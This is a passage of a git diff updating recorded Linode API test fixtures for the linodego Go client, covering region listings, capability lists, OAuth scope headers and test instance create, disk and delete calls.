139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", - "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, - 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": - "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, - 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, + 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": - 25}' + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -228,7 +272,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:17:51 GMT + - Fri, 31 May 2024 17:44:57 GMT Pragma: - no-cache Strict-Transport-Security: @@ -245,7 +289,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -254,7 +301,7 @@ interactions: code: 200 duration: "" - request: - body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-68z99cyfw0z7","root_pass":"PO+=h1`7k5\\KI7tg/k3a''t1gQ/`7]Hx\u003c9dR59Fw#\u003cdKG^[m8eSb7`8N\u00263AMB0Rd2","image":"linode/debian9","booted":false}' + body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-eqyl87dp0364","root_pass":"Pv}z0^K54aIfg;\\n0[R/X:1Q7V3''\u0026IO,65X5jD=Ieg0cyww:7r\u003cYQ}HBv0?v2$59","image":"linode/debian9","firewall_id":501419,"booted":false}' form: {} headers: Accept: @@ -266,15 +313,16 @@ interactions: url: https://api.linode.com/v4beta/linode/instances method: POST response: - body: '{"id": 54933874, "label": "go-test-ins-68z99cyfw0z7", "group": "", "status": + body: '{"id": 59542973, "label": "go-test-ins-eqyl87dp0364", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["192.46.209.82"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["172.105.63.94"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": + true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "adedae7ef69ee351548f2ec08be51b74f4698537", "has_user_data": false}' + "454cc4590caa2a8de6a482c1c9e382273edb1576", "has_user_data": false, "placement_group": + null}' headers: Access-Control-Allow-Credentials: - "true" @@ -291,13 +339,13 @@ interactions: Connection: - keep-alive Content-Length: - - "741" + - "765" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:17:52 GMT + - Fri, 31 May 2024 17:44:57 GMT Pragma: - no-cache Strict-Transport-Security: @@ -312,7 +360,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: @@ -330,12 +381,12 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933874/disks + url: https://api.linode.com/v4beta/linode/instances/59542973/disks method: GET response: - body: '{"data": [{"id": 108752356, "status": "not ready", "label": "Debian 9 Disk", + body: '{"data": [{"id": 117262171, "status": "not ready", "label": "Debian 9 Disk", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": - "ext4", "size": 25088}, {"id": 108752357, "status": "not ready", "label": "512 + "ext4", "size": 25088}, {"id": 117262172, "status": "not ready", "label": "512 MB Swap Image", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "swap", "size": 512}], "page": 1, "pages": 1, "results": 2}' headers: @@ -360,7 +411,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:17:52 GMT + - Fri, 31 May 2024 17:44:57 GMT Pragma: - no-cache Strict-Transport-Security: @@ -376,7 +427,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -394,7 +448,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933874 + url: https://api.linode.com/v4beta/linode/instances/59542973 method: DELETE response: body: '{}' @@ -420,7 +474,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:17:53 GMT + - Fri, 31 May 2024 17:44:58 GMT Pragma: - no-cache Strict-Transport-Security: @@ -435,7 +489,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: diff --git a/test/integration/fixtures/TestInstance_Get.yaml b/test/integration/fixtures/TestInstance_Get.yaml index 686e63179..1d606ea2b 100644 --- a/test/integration/fixtures/TestInstance_Get.yaml +++ b/test/integration/fixtures/TestInstance_Get.yaml @@ -15,199 +15,243 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, - 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", - "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, - 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, - 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, - 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, - 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": - "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": - "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", - "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, - 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, - 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "nl-ams", - "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, - 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, + 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", - "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, - 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, - 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, - 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", - "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, - 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, - 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "jp-osa", - "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": - "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object - Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium - Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, - 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, - 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", - "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, - 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, - 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, - 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, - 172.233.128.44", "ipv6": "1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, + 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "us-central", - "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, - 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, - 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", - "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + 